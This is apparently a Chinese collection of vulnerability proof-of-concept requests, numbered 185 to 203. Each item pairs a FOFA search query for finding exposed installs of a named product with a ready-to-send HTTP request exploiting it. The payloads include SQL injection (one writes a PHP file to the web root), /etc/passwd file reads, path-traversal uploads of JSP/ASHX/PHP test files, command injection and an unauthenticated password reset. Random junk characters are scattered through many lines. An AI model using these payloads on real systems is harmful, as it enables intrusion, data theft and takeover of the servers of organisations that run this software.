$ J- b, u! R- `

185. 瑞友天翼应用虚拟化系统SQL注入
2 ~8 L5 u9 d" `3 dversion < 7.0.5.1
8 ~' m3 u9 |( @2 hFOFA：app="REALOR-天翼应用虚拟化系统"
" S6 g: h$ i9 T0 \* r( ?( VGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
  J0 w8 B  |: @2 T% @8 AHost: host


186. F-logic DataCube3 SQL注入
) G: ]8 g& N) \7 [7 C$ i1 yCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
8 y8 q/ s3 E; |! I5 V* T& YFOFA：title=="DataCube3"
$ G8 l# C1 {/ oPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
( U7 X2 b  T% Z& e% {Host: your-ip
  @) k  N& M* b* W0 l% WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

' \5 Y8 Y+ o# n. w0 l
6 \2 ?; H& s8 y" _187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
5 w, y8 q1 Y3 r! u3 gHost: your-ip
; Y8 x& d9 |& a& h/ j  eContent-Type: application/x-www-form-urlencoded

8 t4 V5 a+ C$ @3 b
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
4 h- }+ b  z: [, b5 u* M/ v6 B

( B: M- R  O! s) B& {/ N' H% k; j! E188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
0 {: p$ p% R% O- bFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  u5 K, n% e: b& x6 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; }8 I8 p  ^# w) q; N" e* V  v0 JAccept-Encoding: gzip, deflate
3 R+ p6 }- n8 JAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 I( V& k! y' y- d) QConnection: close

- o9 N' V2 X& X. r# M4 h
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
; v+ g$ f, v- JFOFA：app="LANWON-临床浏览系统"
' G4 D7 H! u( BGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
# O  ^, ], s0 F! Y5 y7 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' P9 o1 L7 c1 V5 GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 B( c) i! J: k% k) u' X% ^) h9 GConnection: close
$ n! g+ B$ u4 q( p* Y

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
9 S; c/ i, R# r8 V! ]- _* Z) xPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
" g2 ~+ }9 t( q3 z3 O  H/ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
: S# A/ b4 N0 V/ A& t9 {Content-Type: application/x-www-form-urlencoded
2 }- f7 N- S( d  P8 ?1 sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 u! n, H! a8 k: W- m2 V! u
+ f! n" ^3 W8 _/ spoi=file:///etc/passwd


4 e$ ^# u& Y8 d1 g1 e! u7 [  `( i191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
3 ^6 P& X# C1 v/ r+ R3 {FOFA：body="/CDGServer3/index.jsp"
& n0 }8 g) R, o( H3 YPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
, O4 u9 I2 B$ c' R! N: ?Host: your-ip
# R4 H7 K1 j/ ]& l  h4 H8 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( k( S1 k7 v) Y: ~' X: T: C
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


" Y  R, N, t3 w% k3 c2 Z192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( Y2 v+ a" J; d2 W# |  E. PFOFA：title="用户登录_富通天下外贸ERP"
/ Q9 P4 `  L+ P9 Q) L, CPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
- w2 e4 \5 M4 w! w3 L; zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# Z: l; ]  t+ D& [Content-Type: application/x-www-form-urlencoded

+ f6 z' ]; i) V( f. _; p
! c. W: w  F# C3 f: Z5 P<% @ webhandler language="C#" class="AverageHandler" %>
  C, F& f5 s' ]" p( Gusing System;
using System.Web;
/ ^, t, x3 O% _; P6 \9 npublic class AverageHandler : IHttpHandler
% i, J( `3 S" b& S{
public bool IsReusable
3 s7 \' ?; C) T6 v  _{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
, g* k- a: X( S% u: w1 \- c: @+ Kctx.Response.Write("test");
" _& E1 Q* @. m}
- O1 a% T8 |7 O7 b+ v}

; Z$ D* m! p" r( ]
  z4 X+ O6 q4 t193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
: j. j( Z+ q) u1 q  FFOFA：body="山石云鉴主机安全管理系统"
2 l  K9 p0 s1 u: U' rGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

" F! ~" R% G6 P9 A  ?1 w$ \% s
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
4 R$ M+ F: b  K' ?  X
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
" U/ }6 H+ m" {5 ^  N! r! Y0 gHost:
9 h0 j& h! i' z* D4 q6 O% _User-Agent: Mozilla/5.0
; W9 X: q# z9 x* m
. V3 L) [( ~& G0 N6 W7 G% E
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
: p9 Y, U  L7 `! ?: Y. X! X) H1 [FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
# ~+ F+ f3 Y, ]- l0 F7 K+ @5 E
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
) I2 C; }$ i7 d$ ?$ c$ W  ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' {0 w9 q! O- k" q0 ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) m+ ^* _2 w  g$ ~) g* xConnection: close
" p& A& \2 W- n5 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
+ I5 W  w9 ~! }+ U3 w" V, t------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
: V9 f# r/ D  O' D/ MContent-Type: text/plain
<% out.println("hello");%>
* G) N$ L& |/ {$ `8 j% B& I------WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ v" y3 o0 N/ U" RContent-Disposition: form-data; name="json"
4 {- b0 d2 I. H/ }8 x {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
. r  H/ e- q+ q% P1 v6 A9 t6 C, L9 n
0 y/ [  p$ i/ }8 ^* ]( q% r
3 `. ]0 M6 t7 U195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
0 Y) o2 D; N* i$ y' \& |; s5 uFOFA：title=="飞鱼星企业级智能上网行为管理系统
& I5 c, ^; G* o. r9 g/ u5 vPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
! \) k7 l  b  v- GPragma: no-cache
Cache-Control: no-cache
2 {; Y0 K7 J6 O' X2 X8 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 V# \) t1 w) m: k- c: nAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, [' m+ p' A+ P5 s4 IConnection: close
Content-Type: application/x-www-form-urlencoded
) F! N8 k" q+ c# N# S* [: xContent-Length: 68
: _  o/ v! K  |8 y3 A' C
; `2 \( [$ S* I. @/ c$ D{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
9 F( h1 ~* q$ ]6 P# X# W9 o; I
1 F" L. \4 u' Y1 P, \
0 J# [9 D5 a4 x196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
& q" w1 N& C$ T: t3 A2 Z  @POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
- ]* e, E% J# e7 ~; eContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
1 M: R! h4 w- sAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
$ H- [3 |# V$ l- M* _$ G
{"xgh":"test","newPass":"test666","email":""}

5 d0 [/ {" V$ `$ {! k7 a/ W
& [2 o! ~# d* |! |- f7 r  |
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
, n: N3 w. o3 d- U. {+ S$ OHost:
. A% z) X% x" ?* sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
" K' J- [9 `2 Y4 E( L3 L, O
% i! P( z  w3 }  r

2 X$ _; l  W9 ]3 e' G: {198.  阿里云盘 WebDAV 命令注入
5 b8 N9 a3 M+ ?$ k; iCVE-2024-29640
* S6 X; ?8 v( p: E& a1 fGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
7 s6 B' K+ h7 @5 H- F) ]7 `6 |Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
. s. R' C. K: e- l& P+ Y( F1 m& bConnection: close
% V0 w. ]* k. O4 i! u

199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
5 L+ V1 ?- m2 C/ ]# [( h+ XGET /auth/login?to=/ HTTP/1.1

$ J0 P1 ^6 Q- w, m2 O! Q响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

2 ~1 a5 I% r4 t2 M( l4 f3 |) uPOST /auth/check HTTP/1.1
, o& @' h/ \* ^7 WContent-Type: application/json

' A/ O( P9 u- d+ G- w; i4 \{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
6 L7 C2 Q8 A1 x# p$ s
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
5 c4 S7 \$ W: H' {POST /assetsmanager/upload HTTP/1.1
: d3 B8 J) x8 _' YContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

7 t* G7 E* l, ^) ?0 Q) L+ {-----------------------------36D28FBc36bd6feE7Fb3
. N  q$ d. c, a% m2 A+ j& xContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
$ j2 y/ d; ?; s. D: g# o
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
* f3 q: ]' a% X: p0 N# {+ i; rContent-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
( }1 d* o9 _; \6 k3 b8 _

- Z2 _+ G. c3 K; `9 ~/storage/uploads/tttt.php
$ U* R; h$ ?, I1 g1 d
# y4 }; D; g' a" W/ P200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
, i& C9 F0 J; mCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
& K. B; K3 o" x& b; ~2 L, H% mUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
5 {3 e& V5 K8 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  d9 }) B) Z) rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. |* T6 r4 I) }
  v: v3 P& w$ `: j$ R
201. 方正全媒体新闻采编系统 binary SQL注入
3 ^% N7 j2 N4 s+ p; HFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
4 j8 `3 x: A8 b% pContent-Type: application/x-www-form-urlencoded
* p; H5 j- Y- D# Q; ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& l# I! ]) A: O* W( mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& Q. _. v% b6 ~+ {Connection: close
" [" m' K" D' S* m# u
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
/ p9 d  J% e$ [: n2 e4 D

1 h) t# t1 O) L. n$ C% V" q202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
2 @/ C- J& B! H- u获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
/ t1 {7 H3 O. x: W/ v2 D: e  F

) ^5 L, R. \/ I; M替换__VIEWSTATE和__EVENTVALIDATION值
1 N+ x7 Q7 A2 F+ h6 `$ RPOST /User/AccountEdit.aspx HTTP/1.1
5 g  L0 j4 b' fAccept-Encoding: gzip, deflate, br
: c, p& M0 B+ M  }) C! I- p/ YContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
  K' [$ B! ~* X
-----------------------------786435874t38587593865736587346567358735687
3 @; b" M: A4 W' ~) P6 h4 q9 oContent-Disposition: form-data; name="__VIEWSTATE"

3 `) L, H" {) p  q! S* H* g6 @__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
  P* A3 @" a) Y( T  j
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
1 z6 b$ ~. [! r( x4 Y3 ?# \+ {Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

. d9 b6 y2 y7 h  n3 F; q上传图片
7 Z$ B8 P! U; A) T* F3 ?-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
: f5 t5 _& c: x5 z2 x* AContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
( C' e; v' N8 t( I; |' g8 @  \4 P
! L# _7 @* g; p' q2 l) w7 z
' j- U* L4 }4 ]3 J0 a-----------------------------786435874t38587593865736587346567358735687--
3 M7 p, @3 X1 e6 u4 P4 i
1 M0 u/ _/ B, z% W; N
' O( G1 Y: f! O# k% |" Y! C4 D9 c/_data/Uploads/1123.txt
6 `5 w0 `6 T: f- |, j. L2 r
9 I2 h. h1 H$ k203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
% S* U1 ]6 R3 C+ z2 i7 LHost: x.x.x.x
Accept-Encoding: gzip
! K0 J/ l& v0 h, z/ oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
& [% b) J0 k+ J; vContent-Length: 210

7 V3 e, Y; B7 l; P3 W  ]------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
6 t  f- @3 K, M, A, {+ c4 F4 X
<% out.print("hello,eHR");%>
8 Y$ U1 ~+ `" ~1 q; T$ E2 C( i------WebKitFormBoundaryt7WbDl1tXogoZys4--
& O9 z- R: I  ]$ m. K


3 f9 Z, t; G7 |
' F8 e$ S% G/ x( ]- y4 ]( t
$ @; w& F9 k3 i5 k
. Q$ w$ f5 B* ]. l0 {4 a' f) Q